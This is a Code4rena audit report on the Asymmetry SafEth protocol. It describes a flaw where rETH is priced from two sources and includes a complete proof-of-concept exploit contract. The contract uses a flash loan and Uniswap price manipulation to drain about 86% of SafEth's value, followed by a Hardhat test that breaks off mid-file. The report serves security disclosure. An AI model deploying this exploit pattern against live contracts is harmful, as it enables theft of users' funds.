Asymmetry contest - shalaamum's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 95/246

Findings: 2

Award: $42.20

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L92-L95

Vulnerability details

Summary

Reth's ethPerDerivative function fetches its value from either the Uniswap pool or the rocket pool, depending on the passed argument. In a situation in which the Reth's holdings of rETH is larger than the deposit "gap" of the rocket pool, an attacker staking an amount of ether into SafEth that causes a deposit into Reth of (roughly) less than half this "gap" will get the value of their deposit calculated from the rocket pool, while the previous total value SafEth/Reth's holdings of rETH will be calculated from the Uniswap pool. By manipulating the price of rETH to be very low in the Uniswap pool beforehand, the attacker will then get minted SafEth tokens worth more than what they staked, so they can unstake immediately and repeat this attack for as long as the required inequalities can be satisfied, draining most of SafEth's value.

Currently it would not be possible to carry out this attack, as the gap is zero. However the attack will become possible once either RocketDAO increases the pool maximum or implements withdrawals after the Shapella upgrade; that one of the two happens seems highly plausible.

Detailed explanation

The Reth contract's ethPerDerivative function is supposed to return the amount of ether that one rETH is worth. To obtain the value of one rETH it uses one of two different sources however, depending on the _amount argument:

function ethPerDerivative(uint256 _amount) public view returns (uint256) {
    if (poolCanDeposit(_amount))
        return
            RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
    else return (poolPrice() * 10 ** 18) / (10 ** 18);
}

One of the two price sources is the rETH-WETH Uniswap liquidity pool, where the price can be manipulated by the attacker (by swapping the entire liquidity in one direction, and running the attack on SafEth in the callback). This means that the values ethPerDerivatative provides can differ wildly.

In the stake function of the SafEth contract, the ethPerDerivative function of each derivative is then used twice: First to determine the total value held by the contract at the start:

uint256 underlyingValue = 0;
// Getting underlying value in terms of ETH for each derivative
for (uint i = 0; i < derivativeCount; i++)
    underlyingValue +=
        (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
            derivatives[i].balance()) /
        10 ** 18;

and then to determine the value added by depositing the ether sent by the caller into the various derivatives.

uint256 depositAmount = derivative.deposit{value: ethAmount}();
uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
    depositAmount
) * depositAmount) / 10 ** 18;
totalStakeValueEth += derivativeReceivedEthValue;

The amount of SafEth tokens minted for the caller is based on these values. Thus, if the value returned for the amount of rETH received by depositing the caller's ether into the derivative is higher than the value returned for the previous total holdings, then the attacker will obtain more SafEth tokens than they should, so unstaking them again will yield more ether than was staked by the attacker, yielding a profit.

To understand when this can happen, we need to look at the poolCanDeposit function of the Reth contract, which returns

rocketDepositPool.getBalance() + _amount <=
rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
_amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();

If we assume for the moment that all amounts considered are larger than the minimum deposit to simplify the analysis (this does not impact the attack, only simplifies the discussion), then we can describe poolCanDeposit as checking whether _amount is at most as large as the difference between the maximum amount of deposits in the rocket pool and the currently deposited amount. We will denote this difference as the gap. Let us also denote the amount of rETH held by the Reth contract at the start of a call to the stake function by prevAmount, and we denote amount of Reth additionally obtained by the call derivative.deposit{value: ethAmount}(); by depositAmount, as in the code.

Note that the deposit function of the Reth contract also differs depending on whether the amount of ether to be deposited exceeds the gap or not; if it does, then rETH is obtained from the Uniswap liquidity pool, otherwise from the rocket pool. In the latter case, the gap will shrink by the deposited amount. This means that in

uint256 depositAmount = derivative.deposit{value: ethAmount}();
uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
    depositAmount
) * depositAmount) / 10 ** 18;

If ethAmount <= gap but depositAmount > gap - ethAmount, then the deposit is done into the rocket pool, but value subsequently fetched from the Uniswap pool. This is already an inconsistency, but fixing this won't fix the attack described below.

As a side remark, the way poolCanDeposit is used seems to confuse units and could possibly lead to other errors if the price of 1 rETH differs a lot from 1 ETH; in the ethPerDerivative function an amount of rETH is used as the argument and passed through to poolCanDeposit, but in the deposit function poolCanDeposit is called with an amount of ETH. To simplify the discussion in the following we will assume that the rocket pool mints 1 rETH for each 1 ETH deposited. (Currently the values have not diverged only slightly, in a more precise analysis one would have to replace factors like 1/2 below by factors depending on the conversion rate that are currently very close to 1/2. This simplification is only a slight precision loss and does not impact the viability of the attack.)

Then there are the following combinations of values where the two ethPerDerivative calls and the depositing of ETH for rETH in stake exhibit a "bifurcated" behavior, with some, but not all three, using the Uniswap pool, and the others the rocket pool.

prevAmount > gap

depositAmount <= gap/2

The value of the previous holdings will be calculated from the Uniswap liquidity pool. However, the ether provided by the caller is deposited into the rocket pool and the value of this deposit is obtained from there as well. By artificially making the value of rETH very low on the Uniswap pool will be able to make a profit. For example, say each SafEth token represents one token of each of the three derivatives, each of which is worth 1 ETH. Say the attacker stakes 3 ETH. This will be determined to be worth roughly 3 ETH after the depositing (minus some slippage). By crashing the price of rETH on the Uniswap pool the stake function will however evaluate the worth of its holdings before the new deposits as 2 * total number of SafEth tokens, as the holdings of rETH are evaluated to be worthless. Thus while the attacker should get 1 SafEth token, they will get roughly 1.5 SafEth tokens. Unstaking these they then obtain roughly 4.5 ETH, making a profit of roughly 1.5 ETH (less in practice due to slippage).

By depositing roughly 3/2 * gap (so that gap/2 is allocated to be deposited into rETH), the attacker will make a profit of roughly 3/4 * gap. If the attacker is unable to grow the gap again, then repeating this attack (now with the new gap being only half as big, we keep gap as referring to the original one), the attacker can drain another 3/8 * gap. In the limit the attacker can thus make roughly 3/2 * gap * (1/2 + 1/4 + ...) = 3/2 * gap (in practice less due to slippage etc., and 3/2 * gap may be more than the maximum amount that can be staked, so more steps are needed, also reducing the total amount that can be drained). If the attacker can grow the gap again by withdrawing rETH from the rocket pool, then the attack can go on for longer, draining essentially all value from SafEth. The attack will only have to stop once prevAmount > 2*depositAmount becomes impossible due to the minimum staking amount of 0.5 ETH, so at the end of the attack the total value of all SafEth would be left at roughly 1 ETH.

gap/2 < depositAmount <= gap

In this case the value of the previous holdings but also the determination of how much the new deposit is worth comes from Uniswap, but the new rETH is actually obtained from the rocket pool. This does not seem as useful to an attacker.

prevAmount <= gap

depositAmount > gap

In this case the value of the previous holdings will be taken from the rocket pool, the new rETH will be obtained from the Uniswap liquidity pool, with the value of the depositAmount rETH tokens also using the Uniswap price. While the attacker can manipulate the price for rETH in terms of ETH on the Uniswap pool to make rETH extremely expensive, this will also cause the newly deposited ether to yield correspondingly less rETH, so this does not actually lead to an artificially increased derivativeReceivedEthValue, and hence this case is useless for an attacker.

gap/2 < depositAmount <= gap

In this case the value of the previous holdings is taken from the rocket pool, and the new rETH is also obtained from there, but it's value is determined from the Uniswap liquidity pool. By artificially inflating the value of rETH in the Uniswap pool beforehand the attacker obtains more SafEth than they should.

This variant is potentially much more efficient than the previous one, as (2+1)/(2+artificially small but nonnegative value) can at most be 1.5, while (2+artificially large value)/(2+1) can be much larger, meaning the attacker would be able to control nearly all SafEth tokens issued and thus drain nearly all value using only a single round of this attack.

However, the conditions mean that we must have prevAmount <= gap < 2*depositAmount, so we must have depositAmount > prevAmount / 2. So as long as the total value that has been deposited into SafEth exceeds roughly twice the maximum deposit, is not anymore possible to satisfy the required inequalities while still passing the msg.value <= maxAmount check.

A technical difficulty is also that with very large prices some calculations tend to overflow, so the attacker for example needs to provide liquidity to the Uniswap pool themselves to achieve a carefully determined price. For this reason, and as I found the other variant first, I provide a POC only for the other variant, as that already demonstrates the impact.

Impact

The vulnerability described allows an attacker to steal most of the value held in SafEth. For the attack it is necessary that gap is positive (and for the attacks to be able to drain a large amount it also should not be too small). Currently gap is zero, hence the attack is not possible, as the pool maximum is 5000 ETH and it is completely filled. However, there are two ways in which gap could become positive in the future:

  1. RocketDAO could increase the pool maximum. The original pool maximum seems to have been 160 ether (see 1), so the pool maximum was increased previously.

  2. The rocket pool and rETH token contracts could be updated in such a way as to allow withdrawals after the Shapella upgrade. Note that this does not mean that any changes to the Reth contract that is part of this audit are required! The attacker can then buy rETH on the Uniswap liquidity pool and withdraw those to increase the gap.

Only one of the two needs to happen to make an attack viable, and both are both very plausible to happen as well as out of control of the Asymmetry Finance team.

Proof of Concept

A proof of concept is provided here for the scenario in which RocketDAO increases the maximum pool size. Add/change the files as indicated below, then run

npx hardhat test --grep "ShalaamumAttackRethPriceBifurcation"

The test takes a while to run, and should finish with something like this:

✔ Attack ran (15032ms) ✔ Attacker used a single transaction SafEth contract holds 86% less of derivative 0 SafEth contract holds 86% less of derivative 1 SafEth contract holds 86% less of derivative 2 SafEth total value estimated to be 210 ETH This is down from 1556 ETH So value is down 86% ✔ SafETH holds less now (79ms) Attacker made a profit of 1337 ETH ✔ Attacker made profit 16 passing (33s)

The test uses the test helpers that were provided to setup SafEth and have users deposit ether. Then the RocketDAO account is impersonated to simulate them increasing the rocket pool maximum size by 2000 ETH. Finally, the attacker, starting out with only 1 ETH (to pay the not insignificant gas costs), runs a single transaction deploying an attack contract that drains 86% of the value held in SafEth, making a large amount of profit in the process.

The attack contract is not fully generalized, so it works in the specific situation it is tested in, but changes would be necessary if values such as the liquidity in the Uniswap pool, the amount of rETH held by SafEth, etc. were to be different. Thus make sure to run the POC as provided and in particular change the stakeMinimum and stakeMaximum values in integrationHelpers.ts.

Explanation for how the attack contract works

After deployment of the attack contract by a deployment contract, the contract is entered in the run() function. Starting from there, the steps of the attack are as follows:

  1. Get a quote for how much WETH we need to buy half of the rETH held by the Uniswap liquidity pool. We need this to be able to buy these rETH on the liquidity pool, because we will later use a flash swap to sell nearly all of the rETH the Uniswap pool still holds in order to crash the value rETH. But in order to be able to pay for this flash swap at the end of the attack, we need to start out with some rETH.

  2. Take out a flash loan for that amount of WETH from the USDC-WETH Uniswap liquidity pool, as that pool has high liquidity. The following steps are all in the flash loan callback.

  3. Now in the uniswapV3FlashCallback function, we first swap all our WETH to rETH on Uniswap. In the callback for that we pay directly and thus return to uniswapV3FlashCallback.

  4. Back in uniswapV3FlashCallback, we flash swap from rETH to WETH, asking for essentially all of the WETH the Uniswap liquidity pool holds, crashing the value of rETH. The next steps are all within the swap callback.

  5. Now in uniswapV3SwapCallback (as this function gets called multiple times, a storage variable stage is used to keep track of which stage of the attack we are in), the value of rETH has been reduced to 0. We unwrap the large amount of WETH we obtained to have ETH for the next steps, and then call runAttack.

  6. runAttack calls runAttackStep.

  7. In runAttackStep, if the gap between the amount staked in the rocket pool and the maximum amount is larger than the amount of rETH held by SafEth minus 1, then we directly deposit ETH to obtain rETH and reduce the gap ourselves.

  8. We stake (3/2)*gap into SafEth.

  9. For the reasons explained above, we will get an amount of SafEth tokens that is too large. We thus unstake immediately, making a profit in the process.

  10. Back in runAttack, if runAttackStep has not run too many times (for gas usage reasons) and the last time runAttackStep ran, it did so successfully (in particular, at some point the gap will be so small that (3/2)*gap will be smaller than the minimum amount one can stake), then we go back to step 6.

  11. Now we are past the loop calling runAttackStep in runAttack. The function returns to the swap callback from when we flash sold a large amount of rETH to crash its value.

  12. The buying of rETH on Uniswap in step 3 and the new ones that got minted for us in step 7 happen to suffice to settle our debt, which we pay back. This step is one of the reasons why the attack script might not run successfully if one changes some of the parameters such as the liquidity the Uniswap pool has or the size of the gap in the rocket pool at the start - if those parameters change, then for example the amount of rETH bought in step 3 also needs to change.

  13. After paying for the swap we are now back in the flash loan callback. Here we need to repay a flash loan over a large amount of WETH. We wrap our ETH and pay back the loan.

  14. Now we are back in the run function, and are left with some rETH and some WETH. We burn our rETH to convert it to ETH, unwrap our WETH, and finally transfer our profit to the attacker account.

Files to change for the POC

test/helpers/integrationHelpers.ts

Apply the following diff to test/helpers/integrationHelpers.ts:

diff --git a/test/helpers/integrationHelpers.ts b/test/helpers/integrationHelpers.ts
index 884b3db..a376132 100644
--- a/test/helpers/integrationHelpers.ts
+++ b/test/helpers/integrationHelpers.ts
@@ -3,8 +3,8 @@ import { ethers } from "hardhat";
 import { getLatestContract } from "./upgradeHelpers";
 
 let randomSeed = 2;
-export const stakeMinimum = 0.5;
-export const stakeMaximum = 5;
+export const stakeMinimum = 5;
+export const stakeMaximum = 50;
 
 export const getAdminAccount = async () => {
   const accounts = await ethers.getSigners();

Files to add for the POC

contracts/ShalaamumAttackRethPriceBifurcation.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./interfaces/rocketpool/RocketStorageInterface.sol";
import "./interfaces/rocketpool/RocketTokenRETHInterface.sol";
import "./interfaces/rocketpool/RocketDepositPoolInterface.sol";
import "./interfaces/rocketpool/RocketDAOProtocolSettingsDepositInterface.sol";
import "./interfaces/IWETH.sol";
import "./SafEth/SafEth.sol";
import "./SafEth/derivatives/Reth.sol";


interface IUniswapV3FlashCallback {
    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external;
}

interface IUniswapV3SwapCallback {
    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external;
}

interface IQuoter {
    function quoteExactOutputSingle(
        address tokenIn,
        address tokenOut,
        uint24 fee,
        uint256 amountOut,
        uint160 sqrtPriceLimitX96
    ) external returns (uint256 amountIn);
}

contract ShalaamumAttackRethPriceBifurcation is IUniswapV3SwapCallback {
  // In the example, the weight of RETH is exactly one third of the total weight.
  uint256 constant RETH_TO_ALL_DERIVATIVES_FACTOR = 3;
  uint160 constant MIN_SQRT_RATIO = 4295128739;
  uint160 constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
  address public constant ROCKET_STORAGE_ADDRESS =
    0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46;
  address public constant W_ETH_ADDRESS =
    0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
  address public constant UNISWAP_ROUTER =
    0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
  address public constant UNI_V3_FACTORY =
    0x1F98431c8aD98523631AE4a59f267346ea31F984;
  address public constant USDC_ADDRESS =
    0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
  address constant QUOTER_ADDRESS =
    0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6;
  RocketStorageInterface rocketStorage;
  RocketDepositPoolInterface rocketDepositPool;
  RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit;
  RocketTokenRETHInterface rocketToken;
  SafEth safEth;
  Reth derivativeReth;
  IWETH weth;
  IERC20 usdc;
  IUniswapV3Pool uniswapPool;
  IUniswapV3Pool usdcWEthPool;
  IQuoter quoter;
  enum AttackStage {
    Initial,
    BorrowedWEth,
    GotREth,
    PriceManipulated
  }
  AttackStage stage;
  uint256 rEthBorrowed;
  uint256 wethFlashLoanAmount;

  constructor(SafEth safEth_) {
    safEth = safEth_;
    derivativeReth = Reth(payable(address(safEth.derivatives(0))));
    // From deployment we know Reth is the first derivative
    assert(derivativeReth.ROCKET_STORAGE_ADDRESS() == ROCKET_STORAGE_ADDRESS);
    rocketStorage = RocketStorageInterface(ROCKET_STORAGE_ADDRESS);
    address rocketDepositPoolAddress = rocketStorage.getAddress(
      keccak256(abi.encodePacked("contract.address", "rocketDepositPool")));
    rocketDepositPool = RocketDepositPoolInterface(
      rocketDepositPoolAddress);
    address rocketProtocolSettingsAddress = rocketStorage.getAddress(
      keccak256(abi.encodePacked("contract.address", "rocketDAOProtocolSettingsDeposit")));
    rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(
      rocketProtocolSettingsAddress);
    address rocketTokenAddress = RocketStorageInterface(ROCKET_STORAGE_ADDRESS).getAddress(
      keccak256(abi.encodePacked("contract.address", "rocketTokenRETH")));
    rocketToken = RocketTokenRETHInterface(rocketTokenAddress);
    IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
    uniswapPool = IUniswapV3Pool(
      factory.getPool(rocketTokenAddress, W_ETH_ADDRESS, 500)
    );
    usdcWEthPool = IUniswapV3Pool(
      factory.getPool(USDC_ADDRESS, W_ETH_ADDRESS, 500)
    );
    assert(usdcWEthPool.token0() == USDC_ADDRESS);
    assert(usdcWEthPool.token1() == W_ETH_ADDRESS);
    quoter = IQuoter(QUOTER_ADDRESS);
    weth = IWETH(W_ETH_ADDRESS);
    assert(uniswapPool.token0() == address(rocketToken));
    assert(uniswapPool.token1() == address(weth));
    stage = AttackStage.Initial;
    usdc = IERC20(USDC_ADDRESS);
  }
  
  function rocketPoolDepositAmountLeftOver() internal view returns (uint256) {
    uint256 rocketDepositedNow = rocketDepositPool.getBalance();
    uint256 rocketDepositedMax = rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize();
    return rocketDepositedMax - rocketDepositedNow;
  }

  function poolPrice() internal view returns (uint256) {
    (uint160 sqrtPriceX96, , , , , , ) = uniswapPool.slot0();
    return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
  }

  function run() public {
    console.log("Beginning Attack.");
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Balance RETH:     %s", rocketToken.balanceOf(address(this)));
    console.log("Current WETH (in wei) one gets for 1 REth: %s", poolPrice());
    uint256 safEthHoldingsOfReth = derivativeReth.balance();
    uint256 rocketLeftOver = rocketPoolDepositAmountLeftOver();
    console.log("rocketLeftOver        = %s", rocketLeftOver);
    console.log("safEthHoldingsOfReth  = %s", safEthHoldingsOfReth);
    assert(rocketLeftOver + 1 >= safEthHoldingsOfReth);

    console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool)));
    console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool)));
    console.log("First will need to get half of uniswaps RETH.");
    wethFlashLoanAmount = quoter.quoteExactOutputSingle(
      address(weth),
      address(rocketToken),
      500,
      (rocketToken.balanceOf(address(uniswapPool)) * 50) / 100,
      MAX_SQRT_RATIO - 1
    );
    console.log("Will need the following WETH to get the required RETH: %s", wethFlashLoanAmount);
    console.log("Trying to obtain it with a flash loan from USDC-WETH pool...");
    usdcWEthPool.flash(
      address(this),
      0,
      wethFlashLoanAmount,
      ""
    ); 

    console.log("\n\nBack at top level. Paid back all flash loans and swaps.");
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Balance RETH:     %s", rocketToken.balanceOf(address(this)));
    uint256 rEthCollateral = rocketToken.getTotalCollateral();
    console.log("ETH held by rocket token: %s", rEthCollateral);
    uint256 rEthBurnable = rocketToken.getRethValue(rEthCollateral);
    console.log("Burnable RETH:    %s", rEthBurnable);
    if(rocketToken.balanceOf(address(this)) < rEthBurnable) {
      rEthBurnable = rocketToken.balanceOf(address(this));
    }
    console.log("Burning RETH:     %s", rEthBurnable);
    rocketToken.burn(rEthBurnable);
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Balance RETH:     %s", rocketToken.balanceOf(address(this)));
    console.log("Unwrapping WETH...");
    weth.withdraw(weth.balanceOf(address(this)));
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Sending funds to attacker account");
    payable(address(tx.origin)).transfer(address(this).balance);
    console.log("Balance ETH:      %s", address(this).balance);
  }

  function uniswapV3FlashCallback(
    uint256 usdcFee,
    uint256 wethFee,
    bytes calldata data
  ) external {
    console.log("In flash callback");
    assert(usdcFee == 0);
    uint256 wethToPayBack = wethFee + wethFlashLoanAmount;
    console.log("WETH to pay back later: %s", wethToPayBack);
    assert(stage == AttackStage.Initial);
    stage = AttackStage.BorrowedWEth;
    console.log("Trying to swap WETH to RETH");
    uniswapPool.swap(
      address(this),
      false,
      int256(weth.balanceOf(address(this))),
      MAX_SQRT_RATIO - 1,
      ""
    );
    console.log("After the swap.");
    console.log("RETH balance: %s", rocketToken.balanceOf(address(this)));
    console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool)));
    console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool)));
    console.log("Sweeping all WETH from the RETH-WETH pool to crash RETH price");
    uniswapPool.swap(
      address(this),
      true,
      -int256(weth.balanceOf(address(uniswapPool))),
      MIN_SQRT_RATIO + 1,
      ""
    );

    console.log("Back in the flash callback.");
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Balance RETH:     %s", rocketToken.balanceOf(address(this)));
    console.log("WETH to pay back: %s", wethToPayBack);
    console.log("Wrapping ETH");
    weth.deposit{value: address(this).balance}(); 
    console.log("Balance ETH:      %s", address(this).balance);
    console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
    console.log("Paying...");
    weth.transfer(address(usdcWEthPool), wethToPayBack);
  }

  function uniswapV3SwapCallback(
    int256 rEthDelta,
    int256 wEthDelta,
    bytes calldata data
  ) external {
    console.log("In swap callback");
    console.log("Current WETH (in wei) one gets for 1 REth: %s", poolPrice());
    if(stage == AttackStage.BorrowedWEth) {
      stage = AttackStage.GotREth;
      assert(rEthDelta < 0);
      assert(wEthDelta > 0);
      console.log("rEth received: %s", uint256(-rEthDelta));
      console.log("wEth to pay back: %s", uint256(wEthDelta));
      console.log("wEth balance: %s", weth.balanceOf(address(this)));
      weth.transfer(address(uniswapPool), uint256(wEthDelta));
      console.log("Payed, now wEth balance: %s", weth.balanceOf(address(this)));
    }
    else if(stage == AttackStage.GotREth) {
      stage = AttackStage.PriceManipulated;
      assert(rEthDelta > 0);
      assert(wEthDelta < 0);
      console.log("Uniswap pool has of REth: %s", rocketToken.balanceOf(address(uniswapPool)));
      console.log("Uniswap pool has of WEth: %s", weth.balanceOf(address(uniswapPool)));
      console.log("rEth to pay back: %s", uint256(rEthDelta));
      console.log("wEth received: %s", uint256(-wEthDelta));

      assert(poolPrice() == 0);

      console.log("Unwrapping my WETH");
      weth.withdraw(weth.balanceOf(address(this)));

      runAttack();

      // We now have ETH and RETH, and will need to repay some RETH.
      console.log("Balance ETH:      %s", address(this).balance);
      console.log("Balance WETH:     %s", weth.balanceOf(address(this)));
      console.log("Balance RETH:     %s", rocketToken.balanceOf(address(this)));
      console.log("RETH to pay back: %s", uint256(rEthDelta));
      rocketToken.transfer(address(uniswapPool), uint256(rEthDelta));
    }
  }

  function runAttack() internal {
    console.log("\n\nBeginning actual attack...");
    uint256 ethBalanceBefore = address(this).balance;
    uint256 rethBalanceBefore = rocketToken.balanceOf(address(this));
    bool shouldContinue = true;
    uint i = 0;
    while(shouldContinue && (i < 20)) {
      console.log("\nRunning attack %s", i);
      console.log("gas left: %s", gasleft());
      shouldContinue = runAttackStep();
      i++;
    }
    console.log("\n\n");
    uint256 ethBalanceAfter = address(this).balance;
    uint256 rethBalanceAfter = rocketToken.balanceOf(address(this));
    if(ethBalanceAfter >= ethBalanceBefore) {
      console.log("ETH Profit made above:  %s", ethBalanceAfter - ethBalanceBefore);
    }
    else {
      console.log("ETH Loss made above:    %s", ethBalanceBefore - ethBalanceAfter);
    }
    if(rethBalanceAfter >= rethBalanceBefore) {
      console.log("RETH Profit made above: %s", rethBalanceAfter - rethBalanceBefore);
    }
    else {
      console.log("RETH Loss made above:   %s", rethBalanceBefore - rethBalanceAfter);
    }
  }

  function runAttackStep() internal returns (bool) {
    // For one attack step we need the following conditions:
    // A. Deposits possible in the rocket pool are exactly one less than SafEth's
    //    holdings of RETH
    // B. We have enough ETH so that the portion allocated when staking to RETH will
    //    half of the current amount of deposits possible in the rocket pool
    //    (so that it would fit twice, as we actually deposit, and *then* check price
    //    that requires it to fit again).
    // C. RETH is worthless on uniswap.
    // A and B together ensure bifurcation of the price estimates, and C ensures that the
    // value indeed diverges widely in the direction in which we can make profit.

    uint256 safEthHoldingsOfReth = derivativeReth.balance();
    if(safEthHoldingsOfReth < 100000) {
      console.log("Stopping attack because safEth is drained");
      return false;
    }

    uint256 rocketLeftOver = rocketPoolDepositAmountLeftOver();
    console.log("rocketLeftOver       = %s", rocketLeftOver);
    console.log("safEthHoldingsOfReth = %s", safEthHoldingsOfReth);
    console.log(
      "ethPerDerivative of SafEth holdings: %s",
      derivativeReth.ethPerDerivative(derivativeReth.balance())
    );

    if(rocketLeftOver + 1 > safEthHoldingsOfReth) {
      uint256 toDeposit = (rocketLeftOver + 1) - safEthHoldingsOfReth;
      while(toDeposit > 0) {
        uint256 actuallyDeposit = toDeposit;
        if(actuallyDeposit > 100*(10**18)) {
          actuallyDeposit = 100*(10**18);
        }
        console.log("Amount to deposit into rocket pool: %s", actuallyDeposit);
        rocketDepositPool.deposit{value: actuallyDeposit}();
        toDeposit = toDeposit - actuallyDeposit;
      }
    }
    rocketLeftOver = rocketPoolDepositAmountLeftOver();
    console.log("rocketLeftOver       = %s", rocketLeftOver);
    console.log("safEthHoldingsOfReth = %s", safEthHoldingsOfReth);
    console.log(
      "ethPerDerivative of SafEth holdings: %s",
      derivativeReth.ethPerDerivative(derivativeReth.balance()));
    assert(rocketLeftOver + 1 <= safEthHoldingsOfReth);

    uint256 amountToStake = (rocketLeftOver / 2) * RETH_TO_ALL_DERIVATIVES_FACTOR;
    if(amountToStake > safEth.maxAmount()) {
      amountToStake = safEth.maxAmount();
    }
    if(amountToStake < safEth.minAmount()) {
      console.log("Stopping attack because amount became too low.");
      return false;
    }
    uint256 ethBalanceBefore = address(this).balance;
    //console.log("ETH balance: %s", address(this).balance);
    console.log("Now staking: %s", amountToStake);
    safEth.stake{value: amountToStake}();
    console.log("Got SafEth: %s", safEth.balanceOf(address(this)));
    console.log("Unstaking again...");
    safEth.unstake(safEth.balanceOf(address(this)));
    //console.log("Unstaked.");
    //console.log("ETH balance: %s", address(this).balance);
    uint256 ethBalanceAfter = address(this).balance;
    uint256 profit = ethBalanceAfter - ethBalanceBefore;
    console.log("Profit made: %s", profit);
    if(profit > 0) {
      return true;
    }
    else {
      return false;
    }
  }

  receive() external payable {}
}
contracts/ShalaamumAttackRethPriceBifurcationDeployer.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./SafEth/SafEth.sol";
import "./ShalaamumAttackRethPriceBifurcation.sol";

contract ShalaamumAttackRethPriceBifurcationDeployer {
  constructor (SafEth safEth) {
    ShalaamumAttackRethPriceBifurcation attack = new ShalaamumAttackRethPriceBifurcation(safEth);
    attack.run();
  }
}
test/ShalaamumAttackRethPriceBifurcation.test.ts
import { network, ethers } from "hardhat";
import { expect } from "chai";
import { SafEth } from "../typechain-types";
import { BigNumber } from "ethers";
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");

import {
  initialUpgradeableDeploy,
  upgrade,
  getLatestContract,
} from "./helpers/upgradeHelpers";
import {
  getAdminAccount,
  getUserAccounts,
  getUserBalances,
  randomStakes,
  stakeMinimum,
  stakeMaximum
} from "./helpers/integrationHelpers";
import { derivativeAbi } from "./abi/derivativeAbi";
import { rEthDepositPoolAbi } from "./abi/rEthDepositPoolAbi";
import { rocketStorageAbi } from "./abi/rocketStorageAbi";
import { rocketSettingsDepositAbi } from "./abi/rocketSettingsDepositAbi";


describe("ShalaamumAttackRethPriceBifurcation", function () {
  let adminAccount: SignerWithAddress;
  let userAccounts: SignerWithAddress[];
  let attackerAccount: SignerWithAddress;
  let attackerBalanceInitial: BigNumber;
  let safEthProxy: SafEth;
  let logPrefix: String;
  let startingBalances: BigNumber[];
  let networkFeesPerAccount: BigNumber[];
  let totalStakedPerAccount: BigNumber[];
  let derivativeContracts;
  let safEthHoldingsStart;
  let safEthTotalValueStart;
  let derivativeCount;
  const attackerBalanceStart = 10n ** 18n;
  let adminTransactionsStart;
  let userTransactionsStart;
  let attackerTransactionsStart;

  // Following function copied from the SafEth.test.ts file 
  const resetToBlock = async (blockNumber: number) => {
    await network.provider.request({
      method: "hardhat_reset",
      params: [
        {
          forking: {
            jsonRpcUrl: process.env.MAINNET_URL,
            blockNumber,
          },
        },
      ],
    });
  };

  before(async () => {
    // Fix a block to make the test deterministic.
    // This happened to be the latest block when I added the line, so it
    // was not chosen for special properties.
    await resetToBlock(16925534);
    adminAccount = await getAdminAccount();
    userAccounts = await getUserAccounts();
    attackerAccount = (await ethers.Wallet.createRandom()).connect(ethers.provider);

    safEthProxy = (await initialUpgradeableDeploy()) as SafEth;
    derivativeCount = await safEthProxy.derivativeCount();
    derivativeContracts = new Array();
    for (let i = 0; i < derivativeCount; i++) {
      const derivativeAddress = await safEthProxy.derivatives(i);

      derivativeContracts.push(new ethers.Contract(
        derivativeAddress,
        derivativeAbi,
        adminAccount
      ));
    }

    logPrefix = "          ";
    startingBalances = await getUserBalances();
    networkFeesPerAccount = startingBalances.map(() => BigNumber.from(0));
    totalStakedPerAccount = startingBalances.map(() => BigNumber.from(0));
  });

  describe("Scenario setup", function () {
    it("adminAccount should be owner of SafEth", async function () {
      const owner = await safEthProxy.owner();
      expect(owner).eq(adminAccount.address);
    });

    it("stakeMinimum and stakeMaximum are the expected values. If this fails you forgot to change integrationsHelpers.ts", async function () {
      expect(stakeMinimum).eq(5);
      expect(stakeMaximum).eq(50);
    });

    it("Staking a random amount 3 times for each of the users", async function () {
